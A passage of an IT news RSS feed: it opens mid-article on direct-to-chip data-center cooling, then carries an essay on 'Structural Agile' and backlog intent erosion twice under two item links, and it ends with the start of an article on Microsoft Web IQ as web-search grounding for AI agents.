<p class="wp-block-paragraph">Direct-to-chip cooling, on the other hand, offers a more gradual step forward. In general, servers keep their familiar design, and day-to-day maintenance doesn’t change dramatically. Teams can continue working in ways they already understand, making it a more practical step for many organizations.</p>



<p class="wp-block-paragraph">This practicality makes all the difference. For most organizations, the decision isn’t just about which solution performs best in theory, it’s about what can be deployed, managed and scaled within the realities of existing operations. In that sense, direct-to-chip strikes a balance between performance gains and operational continuity, making it a more accessible starting point for many data centers navigating the shift to higher-density workloads.</p>



<h2 class="wp-block-heading">Cooling as a competitive advantage</h2>



<p class="wp-block-paragraph">Cooling is no longer simply an operational concern. It is becoming a defining factor in how data centers scale, how efficiently they run and how reliably they perform. As AI workloads push infrastructure to new limits, the ability to manage heat effectively will directly influence how far and how fast organizations can grow.</p>



<p class="wp-block-paragraph">That shift is also changing who owns the conversation. Decisions that once sat with facilities teams are now firmly on the agenda for <a href="https://www.cio.com/article/4193828/preparing-for-infrastructure-constraints-from-memory-shortages-to-power-limits.html">CIOs, CTOs and infrastructure leaders</a>. Thermal design, energy efficiency and cooling architecture are no longer niche considerations, they are central to cost control, sustainability targets and overall competitiveness.</p>



<p class="wp-block-paragraph">At the same time, there is no one correct solution. Air cooling will continue to support many workloads, while immersion cooling will remain relevant for specialised, high-density use cases. Direct-to-chip cooling sits between the two, offering a practical way to handle increasing thermal demands without disrupting established operating models.</p>



<p class="wp-block-paragraph">For organizations planning the next phase of their infrastructure, cooling can no longer be treated as an afterthought. It needs to be considered alongside compute, storage and networking from the outset.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Structural agile: Why fast delivery quietly loses its meaning]]></title>
<description><![CDATA[Open the history tab of any epic that has been alive for more than two quarters. Go ahead, pick one. Count the edits. Somewhere around edit 11, the description was rewritten to satisfy a stakeholder who has since changed roles. Around edit 19, the scope was trimmed to protect a date that, in the ...]]></description>
<link>https://tsecurity.de/de/3707974/it-security-nachrichten/structural-agile-why-fast-delivery-quietly-loses-its-meaning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707974/it-security-nachrichten/structural-agile-why-fast-delivery-quietly-loses-its-meaning/</guid>
<pubDate>Thu, 06 Aug 2026 13:30:02 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Open the history tab of any epic that has been alive for more than two quarters. Go ahead, pick one. Count the edits. Somewhere around edit 11, the description was rewritten to satisfy a stakeholder who has since changed roles. Around edit 19, the scope was trimmed to protect a date that, in the end, moved anyway. By edit 26 someone renamed the whole thing, and the sentence that explained why the work existed in the first place didn’t survive the paste. 26 edits, several hundred hours of delivery behind them, and nobody left who can say what the money was for.</p>



<p class="wp-block-paragraph">Nobody deleted that reason on purpose. That’s what makes this so hard to see.</p>



<p class="wp-block-paragraph">I’ve been shuttling between the people who fund technology work and the teams who deliver it for a couple of decades now, and something has always struck me as odd: the backlog is probably the only important document in the enterprise that gets edited every day and remembers nothing. Contracts have version control and signatures. Financial statements have audit trails. Even architecture, in mature shops, has decision records. But the artifact that actually steers what hundreds of people build week after week? It has a title, a status and a description that mutates until the original intent becomes archaeology.</p>



<p class="wp-block-paragraph">The most expensive failures I’ve seen were all fast. The teams shipped and shipped, and somewhere along the way the work stopped meaning what everyone assumed it still meant. Nobody slowed down long enough to notice.</p>



<h2 class="wp-block-heading">One problem, two lenses</h2>



<p class="wp-block-paragraph">Strategy and delivery look at the same work through very different mental models. On one side, leaders talk in outcomes, intent and value; they worry about whether the original justification for the investment still holds months later. On the other side, teams think in iterations, flow and momentum, and they worry about keeping complex programs moving in small, manageable steps. Both lenses are legitimate, and in my experience both sides generally believe they’re the ones doing everything right.</p>



<p class="wp-block-paragraph">The disagreement between them is never loud. Strategy quietly assumes the logic will remain constant across every sprint and every decision. Delivery quietly assumes the strategic reasoning will naturally update itself based on what gets learned along the way. There’s nothing wrong with either assumption on its own. But in the absence of a structural bridge between them, every program gradually accumulates small half-measures and shifted meanings that nobody registers until it’s too late.</p>



<p class="wp-block-paragraph">The evidence on how badly intent travels is humbling. Donald Sull and his colleagues, in a multi-year study of strategy execution, found that <a href="https://hbr.org/2015/03/why-strategy-execution-unravelsand-what-to-do-about-it">only half of middle managers can name any of their company’s top five priorities</a>. Those are the managers. Now imagine the epic, eleven edits later.</p>



<p class="wp-block-paragraph">Let me be fair to <a href="https://agilemanifesto.org/">agile</a> here, because agile is not the villain. It does exactly what it says on the tin: it helps teams learn quickly and adjust to what they discover, and <a href="https://hbr.org/2018/05/agile-at-scale">that speed is a genuine strength</a>. The problem is that organizations blur the line between two kinds of change. Some of it is genuine learning: teams discover real behaviors, markets shift, leaders sharpen their thinking. And some of it is erosion, the slow loss of rationale that nobody actually decided and nobody can trace back to a witting choice. From the outside, the two are indistinguishable. They show up the same way in the tooling: movement in the backlog, shifting priorities, even working software. Only one of them stays anchored to the reason the money was spent.</p>



<p class="wp-block-paragraph">Most organizations have no instrument for telling these two apart. Which means they’re flying at full speed without knowing whether they’re navigating or just moving.</p>



<h2 class="wp-block-heading">The pattern we keep seeing</h2>



<h3 class="wp-block-heading">Agile in style, not in substance</h3>



<p class="wp-block-paragraph">The board gets moved every day, stand-ups start on time and retrospectives produce long lists of things to improve. Then you ask why a specific feature exists, what it’s actually meant to change, and the room gets quiet. The rituals persist while the substance underneath them slowly thins out. Teams keep closing tasks, and somewhere along the way they shed the shared sense of purpose that made the tasks worth doing.</p>



<h3 class="wp-block-heading">Velocity becomes a proxy for value</h3>



<p class="wp-block-paragraph">A smooth sprint demo can hide a deeper problem, because progress toward delivery and progress toward outcomes are two different measurements, and only one of them is on the wall. I’ve seen features that were stable, polished and warmly received in the demo, and that contributed absolutely nothing to the decision they were supposed to improve. The pace was real enough; whether any of it mattered took months to find out. And your delivery metrics can be excellent, genuinely excellent, while every one of these patterns is running underneath them.</p>



<p class="wp-block-paragraph">This is not a niche affliction, by the way. Pendo analyzed feature usage across hundreds of software products and found that <a href="https://www.pendo.io/resources/the-2019-feature-adoption-report/">80% of features are rarely or never used</a>. Built at full velocity, shipped into silence.</p>



<h3 class="wp-block-heading">Product owners absorb pressure instead of defending logic</h3>



<p class="wp-block-paragraph">The PO is supposed to hold the thread, to protect the reasoning behind the work when everyone else is pushing on it. In practice, many find themselves wedged between demand and delivery, forced into a permanent state of reactive prioritization. Over time they stop challenging requests. Then they stop defending the logic behind decisions. Eventually they stop framing choices around outcomes at all, and the backlog, which should be a strategic instrument, turns into the place where everything gets dumped because nobody has the space left to ask what actually belongs there.</p>



<h3 class="wp-block-heading">Backlog churn masks strategic drift</h3>



<p class="wp-block-paragraph">Items get revisited, split, recast and reprioritized as everyone works to keep momentum going, and from a distance it can all look like reasonable adaptation. But when the connection to intent is severed, all that motion begins to dissolve into static. Work keeps getting passed around, the board stays busy and the program veers off course without producing a single alarming signal, because busy is what everyone was looking for.</p>



<h3 class="wp-block-heading">Every quarter is a reset</h3>



<p class="wp-block-paragraph">New OKRs arrive. A fresh wave of leadership messaging follows. Sometimes the team gets reshuffled too. With each round, a little of the shared context that held everything together quietly slips away. Epics get new names, stories get rewritten, priorities rearrange themselves almost by accident. The organization keeps rebooting itself without ever asking what it left behind in the reset.</p>



<p class="wp-block-paragraph">Taken one at a time, each of these patterns is understandable, even forgivable. Together they produce a program that looks healthy from every angle while it quietly hollows out the meaning behind the work.</p>



<h2 class="wp-block-heading">Why this keeps happening, and why it’s about to get worse</h2>



<p class="wp-block-paragraph">Big programs tend to assume that intent will simply carry itself forward as the work passes through teams, decisions and iterations. It won’t. Intent doesn’t carry itself. If nobody actively preserves and updates the reasoning, it starts to loosen and fray, quietly and almost politely, one story, one trade-off, one shift in priority at a time.</p>



<p class="wp-block-paragraph">The structural cause is a speed mismatch that most governance was never designed for. The delivery system evolves in hours; the organization’s memory of why updates in quarters, if at all. In between those two clocks, thousands of micro-decisions reshape what the work means, far faster than anyone captures the reasoning behind them.</p>



<p class="wp-block-paragraph">Now add what’s happening in 2026. AI agents inside the delivery tooling can already <a href="https://support.atlassian.com/rovo/docs/agents/">organize, create and edit backlog items</a> on a team’s behalf. Atlassian’s own customers describe agents that <a href="https://www.atlassian.com/software/jira/ai">generate requirements, break them into epics and stories and take delegated work like a teammate</a>, and these capabilities now ship inside the standard Jira plans that most enterprises already pay for. I’m not against any of this; some of it is genuinely useful. But notice what it means for our problem. Every one of those operations is an edit to a document that has no memory. Backlog amnesia at human speed was survivable. Painful, but survivable, because humans forget slowly. Amnesia at machine speed is a different animal altogether. The ratio of motion to memory, already unhealthy in most organizations, is about to go vertical.</p>



<p class="wp-block-paragraph">If your backlog can’t remember why an item exists after a human rewrote it a few times, think about what happens when an agent grooms it continuously.</p>



<h2 class="wp-block-heading">What to do about it</h2>



<p class="wp-block-paragraph">The countermeasures I use are deliberately small. None of them adds a ceremony, a tool, or a governance layer. They simply orient the practices teams already run toward one job: keeping the reasoning alive while the work moves. Together, they form the discipline I call Structural Agile.</p>



<ul class="wp-block-list">
<li><strong>Start with the outcome. </strong>Before an epic or major story enters the backlog, three questions, every time: What behavior are we trying to shift? How will we know if that behavior changes? What signals will confirm success after release? If the room can’t answer, the work waits, because items that lack outcome clarity tend to drift first and drift fastest.</li>



<li><strong>Elevate the PO. </strong>Position the product owner as the carrier of outcome logic, with an explicit mandate to preserve rationale, flag trade-offs that erode intent and track deferred items together with the reasoning behind them. And be realistic about the limits, because many POs inherit chaotic backlogs, rotate mid-stream, or simply lack the authority to push back on stakeholders. The rule I give teams is simple: if the PO can’t carry the logic, someone must: a coach prompting context checks, an architect recording the reasoning behind technical trade-offs, an analyst keeping the outcome picture current. Build logic stewardship into the structure. Left to personality, it leaves with the person.</li>



<li><strong>Anchor epics to why. </strong>Every epic carries its rationale as metadata, inside the tool where the work actually lives. Slide decks from last spring don’t count. When a decision reshapes the epic, the rationale gets updated in the same motion; waivers and scope cuts get recorded next to the item they changed. Do this consistently and the backlog stops being a queue of tasks and becomes a living map of intent, one that a new joiner can read on day one, and that survives a challenge from leadership without anyone having to reconstruct history from memory. It cuts both ways, too: the same rationale that protects the team from whiplash protects the business from a backlog that has drifted away from what they actually asked for. Prioritization turns into a conversation about evidence rather than a contest of opinions.</li>



<li><strong>Rehearse erosion. </strong>This is the practice I’d start with, and the one that surprises teams most. Every two or three sprints, run a short, structured session that is not a retrospective and not a risk review. Its purpose is to test the continuity of intent itself: Does the assumed user behavior still make sense? Where might adoption fail even though delivery is technically correct? Which parts of the outcome logic feel fragile, outdated, or untested? A retro examines how the team worked; an erosion rehearsal examines whether the reasoning still holds. You rehearse erosion the same way pilots rehearse emergencies: you hope the drill is wasted, and you run it anyway, because catching drift early is what makes fixing it cheap. In my experience, a single one of these sessions surfaces more strategic risk than a quarter’s worth of status reporting, and it costs the team about half an hour.</li>



<li><strong>Keep the logic alive. </strong>Capture only what prevents strategic amnesia and nothing more: why a feature was removed or reshaped, who approved it and which assumptions should be revisited, and when. Keep it visible where teams already work. If logic lives in Confluence but dies in conversation, it’s already gone.</li>
</ul>



<h2 class="wp-block-heading">Start Monday</h2>



<p class="wp-block-paragraph">You don’t need a reorganization or a new framework to begin, and frankly you shouldn’t want one. Three entry points, close to zero overhead. Assign a critical reviewer: one team member whose standing job is to periodically ask whether stories still connect to the intended outcome. Add a one-minute outcome check before major refinements: the behavior targeted, the indicator watched, the signal expected. And run a single erosion rehearsal on your most important program; teams usually surface something real in the first session, long before it would have shown up in any metric.</p>



<p class="wp-block-paragraph">For readers keeping score: yes, neighboring practices exist, and they’re good ones. <a href="https://www.cognitect.com/blog/2011/11/15/documenting-architecture-decisions">Architecture decision records</a> preserve the why behind technical choices, and <a href="https://www.impactmapping.org/">impact mapping</a> connects deliverables to goals at planning time. I use both. Neither operates continuously, inside the backlog, at the level of the individual item, which happens to be exactly where the forgetting occurs. OKRs don’t solve it either; objectives at altitude are necessary, but teams still need the rationale embedded in the work itself, so they don’t have to keep a separate decoder.</p>



<h2 class="wp-block-heading">The history tab, revisited</h2>



<p class="wp-block-paragraph">Go back to that epic with the twenty-six edits, and imagine the same history with one difference: each consequential edit carries a line of reasoning, current and human-readable, and every few sprints someone deliberately tested whether that reasoning still held. Same team, same velocity, same tool and a completely different answer when someone finally asks why the work exists.</p>



<p class="wp-block-paragraph">Velocity tells you how fast the work is moving. Only memory can tell you whether anyone still knows where it’s going.</p>



<p class="wp-block-paragraph">I’ve published the full discipline behind this approach (the five principles, the roles, the facilitation guides and the objections seasoned practitioners will raise, along with my answers) as a <a href="https://pmworldlibrary.net/wp-content/uploads/2026/02/pmwj161-Feb2026-Kadaoui-Structural-Agile-featured-paper-1.pdf">featured paper in PM World Journal</a>. The mechanics are free to steal. The forgetting, at this point, is optional.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Structural agile: Why fast delivery quietly loses its meaning]]></title>
<description><![CDATA[Open the history tab of any epic that has been alive for more than two quarters. Go ahead, pick one. Count the edits. Somewhere around edit 11, the description was rewritten to satisfy a stakeholder who has since changed roles. Around edit 19, the scope was trimmed to protect a date that, in the ...]]></description>
<link>https://tsecurity.de/de/3707966/it-nachrichten/structural-agile-why-fast-delivery-quietly-loses-its-meaning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707966/it-nachrichten/structural-agile-why-fast-delivery-quietly-loses-its-meaning/</guid>
<pubDate>Thu, 06 Aug 2026 13:28:37 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Open the history tab of any epic that has been alive for more than two quarters. Go ahead, pick one. Count the edits. Somewhere around edit 11, the description was rewritten to satisfy a stakeholder who has since changed roles. Around edit 19, the scope was trimmed to protect a date that, in the end, moved anyway. By edit 26 someone renamed the whole thing, and the sentence that explained why the work existed in the first place didn’t survive the paste. 26 edits, several hundred hours of delivery behind them, and nobody left who can say what the money was for.</p>



<p class="wp-block-paragraph">Nobody deleted that reason on purpose. That’s what makes this so hard to see.</p>



<p class="wp-block-paragraph">I’ve been shuttling between the people who fund technology work and the teams who deliver it for a couple of decades now, and something has always struck me as odd: the backlog is probably the only important document in the enterprise that gets edited every day and remembers nothing. Contracts have version control and signatures. Financial statements have audit trails. Even architecture, in mature shops, has decision records. But the artifact that actually steers what hundreds of people build week after week? It has a title, a status and a description that mutates until the original intent becomes archaeology.</p>



<p class="wp-block-paragraph">The most expensive failures I’ve seen were all fast. The teams shipped and shipped, and somewhere along the way the work stopped meaning what everyone assumed it still meant. Nobody slowed down long enough to notice.</p>



<h2 class="wp-block-heading">One problem, two lenses</h2>



<p class="wp-block-paragraph">Strategy and delivery look at the same work through very different mental models. On one side, leaders talk in outcomes, intent and value; they worry about whether the original justification for the investment still holds months later. On the other side, teams think in iterations, flow and momentum, and they worry about keeping complex programs moving in small, manageable steps. Both lenses are legitimate, and in my experience both sides generally believe they’re the ones doing everything right.</p>



<p class="wp-block-paragraph">The disagreement between them is never loud. Strategy quietly assumes the logic will remain constant across every sprint and every decision. Delivery quietly assumes the strategic reasoning will naturally update itself based on what gets learned along the way. There’s nothing wrong with either assumption on its own. But in the absence of a structural bridge between them, every program gradually accumulates small half-measures and shifted meanings that nobody registers until it’s too late.</p>



<p class="wp-block-paragraph">The evidence on how badly intent travels is humbling. Donald Sull and his colleagues, in a multi-year study of strategy execution, found that <a href="https://hbr.org/2015/03/why-strategy-execution-unravelsand-what-to-do-about-it">only half of middle managers can name any of their company’s top five priorities</a>. Those are the managers. Now imagine the epic, eleven edits later.</p>



<p class="wp-block-paragraph">Let me be fair to <a href="https://agilemanifesto.org/">agile</a> here, because agile is not the villain. It does exactly what it says on the tin: it helps teams learn quickly and adjust to what they discover, and <a href="https://hbr.org/2018/05/agile-at-scale">that speed is a genuine strength</a>. The problem is that organizations blur the line between two kinds of change. Some of it is genuine learning: teams discover real behaviors, markets shift, leaders sharpen their thinking. And some of it is erosion, the slow loss of rationale that nobody actually decided and nobody can trace back to a witting choice. From the outside, the two are indistinguishable. They show up the same way in the tooling: movement in the backlog, shifting priorities, even working software. Only one of them stays anchored to the reason the money was spent.</p>



<p class="wp-block-paragraph">Most organizations have no instrument for telling these two apart. Which means they’re flying at full speed without knowing whether they’re navigating or just moving.</p>



<h2 class="wp-block-heading">The pattern we keep seeing</h2>



<h3 class="wp-block-heading">Agile in style, not in substance</h3>



<p class="wp-block-paragraph">The board gets moved every day, stand-ups start on time and retrospectives produce long lists of things to improve. Then you ask why a specific feature exists, what it’s actually meant to change, and the room gets quiet. The rituals persist while the substance underneath them slowly thins out. Teams keep closing tasks, and somewhere along the way they shed the shared sense of purpose that made the tasks worth doing.</p>



<h3 class="wp-block-heading">Velocity becomes a proxy for value</h3>



<p class="wp-block-paragraph">A smooth sprint demo can hide a deeper problem, because progress toward delivery and progress toward outcomes are two different measurements, and only one of them is on the wall. I’ve seen features that were stable, polished and warmly received in the demo, and that contributed absolutely nothing to the decision they were supposed to improve. The pace was real enough; whether any of it mattered took months to find out. And your delivery metrics can be excellent, genuinely excellent, while every one of these patterns is running underneath them.</p>



<p class="wp-block-paragraph">This is not a niche affliction, by the way. Pendo analyzed feature usage across hundreds of software products and found that <a href="https://www.pendo.io/resources/the-2019-feature-adoption-report/">80% of features are rarely or never used</a>. Built at full velocity, shipped into silence.</p>



<h3 class="wp-block-heading">Product owners absorb pressure instead of defending logic</h3>



<p class="wp-block-paragraph">The PO is supposed to hold the thread, to protect the reasoning behind the work when everyone else is pushing on it. In practice, many find themselves wedged between demand and delivery, forced into a permanent state of reactive prioritization. Over time they stop challenging requests. Then they stop defending the logic behind decisions. Eventually they stop framing choices around outcomes at all, and the backlog, which should be a strategic instrument, turns into the place where everything gets dumped because nobody has the space left to ask what actually belongs there.</p>



<h3 class="wp-block-heading">Backlog churn masks strategic drift</h3>



<p class="wp-block-paragraph">Items get revisited, split, recast and reprioritized as everyone works to keep momentum going, and from a distance it can all look like reasonable adaptation. But when the connection to intent is severed, all that motion begins to dissolve into static. Work keeps getting passed around, the board stays busy and the program veers off course without producing a single alarming signal, because busy is what everyone was looking for.</p>



<h3 class="wp-block-heading">Every quarter is a reset</h3>



<p class="wp-block-paragraph">New OKRs arrive. A fresh wave of leadership messaging follows. Sometimes the team gets reshuffled too. With each round, a little of the shared context that held everything together quietly slips away. Epics get new names, stories get rewritten, priorities rearrange themselves almost by accident. The organization keeps rebooting itself without ever asking what it left behind in the reset.</p>



<p class="wp-block-paragraph">Taken one at a time, each of these patterns is understandable, even forgivable. Together they produce a program that looks healthy from every angle while it quietly hollows out the meaning behind the work.</p>



<h2 class="wp-block-heading">Why this keeps happening, and why it’s about to get worse</h2>



<p class="wp-block-paragraph">Big programs tend to assume that intent will simply carry itself forward as the work passes through teams, decisions and iterations. It won’t. Intent doesn’t carry itself. If nobody actively preserves and updates the reasoning, it starts to loosen and fray, quietly and almost politely, one story, one trade-off, one shift in priority at a time.</p>



<p class="wp-block-paragraph">The structural cause is a speed mismatch that most governance was never designed for. The delivery system evolves in hours; the organization’s memory of why updates in quarters, if at all. In between those two clocks, thousands of micro-decisions reshape what the work means, far faster than anyone captures the reasoning behind them.</p>



<p class="wp-block-paragraph">Now add what’s happening in 2026. AI agents inside the delivery tooling can already <a href="https://support.atlassian.com/rovo/docs/agents/">organize, create and edit backlog items</a> on a team’s behalf. Atlassian’s own customers describe agents that <a href="https://www.atlassian.com/software/jira/ai">generate requirements, break them into epics and stories and take delegated work like a teammate</a>, and these capabilities now ship inside the standard Jira plans that most enterprises already pay for. I’m not against any of this; some of it is genuinely useful. But notice what it means for our problem. Every one of those operations is an edit to a document that has no memory. Backlog amnesia at human speed was survivable. Painful, but survivable, because humans forget slowly. Amnesia at machine speed is a different animal altogether. The ratio of motion to memory, already unhealthy in most organizations, is about to go vertical.</p>



<p class="wp-block-paragraph">If your backlog can’t remember why an item exists after a human rewrote it a few times, think about what happens when an agent grooms it continuously.</p>



<h2 class="wp-block-heading">What to do about it</h2>



<p class="wp-block-paragraph">The countermeasures I use are deliberately small. None of them adds a ceremony, a tool, or a governance layer. They simply orient the practices teams already run toward one job: keeping the reasoning alive while the work moves. Together, they form the discipline I call Structural Agile.</p>



<ul class="wp-block-list">
<li><strong>Start with the outcome. </strong>Before an epic or major story enters the backlog, three questions, every time: What behavior are we trying to shift? How will we know if that behavior changes? What signals will confirm success after release? If the room can’t answer, the work waits, because items that lack outcome clarity tend to drift first and drift fastest.</li>



<li><strong>Elevate the PO. </strong>Position the product owner as the carrier of outcome logic, with an explicit mandate to preserve rationale, flag trade-offs that erode intent and track deferred items together with the reasoning behind them. And be realistic about the limits, because many POs inherit chaotic backlogs, rotate mid-stream, or simply lack the authority to push back on stakeholders. The rule I give teams is simple: if the PO can’t carry the logic, someone must: a coach prompting context checks, an architect recording the reasoning behind technical trade-offs, an analyst keeping the outcome picture current. Build logic stewardship into the structure. Left to personality, it leaves with the person.</li>



<li><strong>Anchor epics to why. </strong>Every epic carries its rationale as metadata, inside the tool where the work actually lives. Slide decks from last spring don’t count. When a decision reshapes the epic, the rationale gets updated in the same motion; waivers and scope cuts get recorded next to the item they changed. Do this consistently and the backlog stops being a queue of tasks and becomes a living map of intent, one that a new joiner can read on day one, and that survives a challenge from leadership without anyone having to reconstruct history from memory. It cuts both ways, too: the same rationale that protects the team from whiplash protects the business from a backlog that has drifted away from what they actually asked for. Prioritization turns into a conversation about evidence rather than a contest of opinions.</li>



<li><strong>Rehearse erosion. </strong>This is the practice I’d start with, and the one that surprises teams most. Every two or three sprints, run a short, structured session that is not a retrospective and not a risk review. Its purpose is to test the continuity of intent itself: Does the assumed user behavior still make sense? Where might adoption fail even though delivery is technically correct? Which parts of the outcome logic feel fragile, outdated, or untested? A retro examines how the team worked; an erosion rehearsal examines whether the reasoning still holds. You rehearse erosion the same way pilots rehearse emergencies: you hope the drill is wasted, and you run it anyway, because catching drift early is what makes fixing it cheap. In my experience, a single one of these sessions surfaces more strategic risk than a quarter’s worth of status reporting, and it costs the team about half an hour.</li>



<li><strong>Keep the logic alive. </strong>Capture only what prevents strategic amnesia and nothing more: why a feature was removed or reshaped, who approved it and which assumptions should be revisited, and when. Keep it visible where teams already work. If logic lives in Confluence but dies in conversation, it’s already gone.</li>
</ul>



<h2 class="wp-block-heading">Start Monday</h2>



<p class="wp-block-paragraph">You don’t need a reorganization or a new framework to begin, and frankly you shouldn’t want one. Three entry points, close to zero overhead. Assign a critical reviewer: one team member whose standing job is to periodically ask whether stories still connect to the intended outcome. Add a one-minute outcome check before major refinements: the behavior targeted, the indicator watched, the signal expected. And run a single erosion rehearsal on your most important program; teams usually surface something real in the first session, long before it would have shown up in any metric.</p>



<p class="wp-block-paragraph">For readers keeping score: yes, neighboring practices exist, and they’re good ones. <a href="https://www.cognitect.com/blog/2011/11/15/documenting-architecture-decisions">Architecture decision records</a> preserve the why behind technical choices, and <a href="https://www.impactmapping.org/">impact mapping</a> connects deliverables to goals at planning time. I use both. Neither operates continuously, inside the backlog, at the level of the individual item, which happens to be exactly where the forgetting occurs. OKRs don’t solve it either; objectives at altitude are necessary, but teams still need the rationale embedded in the work itself, so they don’t have to keep a separate decoder.</p>



<h2 class="wp-block-heading">The history tab, revisited</h2>



<p class="wp-block-paragraph">Go back to that epic with the twenty-six edits, and imagine the same history with one difference: each consequential edit carries a line of reasoning, current and human-readable, and every few sprints someone deliberately tested whether that reasoning still held. Same team, same velocity, same tool and a completely different answer when someone finally asks why the work exists.</p>



<p class="wp-block-paragraph">Velocity tells you how fast the work is moving. Only memory can tell you whether anyone still knows where it’s going.</p>



<p class="wp-block-paragraph">I’ve published the full discipline behind this approach (the five principles, the roles, the facilitation guides and the objections seasoned practitioners will raise, along with my answers) as a <a href="https://pmworldlibrary.net/wp-content/uploads/2026/02/pmwj161-Feb2026-Kadaoui-Structural-Agile-featured-paper-1.pdf">featured paper in PM World Journal</a>. The mechanics are free to steal. The forgetting, at this point, is optional.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Web IQ: Ground your AI agents with up-to-date web data]]></title>
<description><![CDATA[Microsoft has unveiled a suite of IQ products over the last few months. Work IQ, Fabric IQ, and Foundry IQ build on what Microsoft used to call its “Graphs,” the underlying data architecture that underpins its cloud services. These graphs provided a way to query the data your business uses, treat...]]></description>
<link>https://tsecurity.de/de/3707919/ai-nachrichten/microsoft-web-iq-ground-your-ai-agents-with-up-to-date-web-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707919/ai-nachrichten/microsoft-web-iq-ground-your-ai-agents-with-up-to-date-web-data/</guid>
<pubDate>Thu, 06 Aug 2026 13:18:55 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft has unveiled <a href="https://www.microsoft.com/en-us/ai/microsoft-iq#Products">a suite of IQ products</a> over the last few months. Work IQ, Fabric IQ, and Foundry IQ build on what Microsoft used to call its “Graphs,” the underlying data architecture that underpins its cloud services. These graphs provided a way to query the data your business uses, treating that data as nodes in a graph database and using the <a href="https://www.infoworld.com/article/2267992/what-is-graphql-better-apis-by-design.html" data-type="link" data-id="https://www.infoworld.com/article/2267992/what-is-graphql-better-apis-by-design.html">GraphQL API model</a> to extract that data — for example, to pull data related to a specific individual held across the various Microsoft 365 applications.</p>



<p class="wp-block-paragraph">The IQ suite follows a similar approach, using the same data, but treating it as the sparse vector store needed to provide grounding data for <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLM</a>-based applications. By treating the data as a set of <a href="https://www.infoworld.com/article/2335281/vector-databases-in-llms-and-search.html" data-type="link" data-id="https://www.infoworld.com/article/2335281/vector-databases-in-llms-and-search.html">embedding vectors</a>, and integrating it with <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> (MCP) servers, Microsoft is giving you the necessary tools to tie LLM output to your data, reducing the risk of hallucination and improving accuracy. Using your own data is a key part of delivering effective agents, ensuring they work within your constraints.</p>



<h2 class="wp-block-heading">Extending IQ to the web</h2>



<p class="wp-block-paragraph"><a href="https://www.microsoft.com/en-us/webiq" data-type="link" data-id="https://www.microsoft.com/en-us/webiq">Web IQ</a>, the latest member of the IQ suite, was unveiled at Build 2026. A modernization of the retired Bing Search APIs, <a href="https://webiq.microsoft.ai/documentation/overview/">Web IQ is an agent-focused web search tool</a> that builds on the massive Bing search index to provide up-to-date general information for use in your applications.</p>



<p class="wp-block-paragraph">It may seem a little odd to be talking about a web-wide source of grounding data in the context of a suite of tools that exist to improve the accuracy of your AI applications by providing access to your Microsoft-hosted data. However, in many cases you want to link your agent not only to your data but also to related information from the wider world. For example, an agent powering an ecommerce service could use Web IQ and web-based data sources to provide product comparisons. An agent managing stock levels for a product that is weather-sensitive could use Web IQ as a source of weather data, using Bing’s multiple weather feeds and forecasts.</p>



<p class="wp-block-paragraph">Just as Google Gemini drew on Google Search, Microsoft Copilot began by using Bing search data to provide grounding for consumer chatbots. It’s easy to take a service like Bing and use it with a LLM, as the nearest neighbor search algorithms use semantic vector similarity techniques to find results that look like your query, ranking them according to their proximity to your search terms.</p>



<p class="wp-block-paragraph">Microsoft has been tuning its search vector index and the underlying technology stack to work with agents, as agents operate much differently than humans searching the web or querying a chatbot. Providing web search capabilities to agents means having to deal with persistent queries, as the agent hunts for the information it needs, refining queries and applying reasoning algorithms to develop the response it needs. LLM inferencing requires quick responses that deliver large amounts of data, working with queries that go far beyond the one-word or two-word requests that are typical of humans.</p>



<h2 class="wp-block-heading">More than the training weights</h2>



<p class="wp-block-paragraph">Using Web IQ gives you access to up-to-date information, beyond the training data used to build and weight an LLM. Bing’s crawler works within the standards developed by the search engine industry, obeying meta tags and using its own algorithms to crawl regularly updated websites more often. Bing’s crawler ensures that data is both fresh and being used appropriately, with a focus on quality rather than quantity.</p>



<p class="wp-block-paragraph">Providing access to web data is only part of Web IQ. Microsoft is using Web IQ to host its own models to manage embeddings, ranking, and content extraction, all running on the company’s global hyperscale platform. The intent here is to use only a limited number of models, to keep the system performance high while aiming to deliver accurate results. The Web IQ models are different from those used to deliver search results to humans, as they’re designed to deliver responses that are suitable for LLMs to use for reasoning.</p>



<p class="wp-block-paragraph">The underlying search system is based on the <a href="https://www.microsoft.com/en-us/research/project/project-akupara-approximate-nearest-neighbor-search-for-large-scale-semantic-search/" data-type="link" data-id="https://www.microsoft.com/en-us/research/project/project-akupara-approximate-nearest-neighbor-search-for-large-scale-semantic-search/">DiskANN algorithm</a> developed by Microsoft Research, which allows fast search without requiring enormous amounts of in-memory data access. This approach has been extended to manage information retrieval at scale, building on Microsoft’s distributed systems architectures, to support the demands Microsoft is seeing from agent-based systems. At the same time, it must respond to the rapidly changing economics of inference, where token costs now demand the best possible output from the fewest tokens.</p>



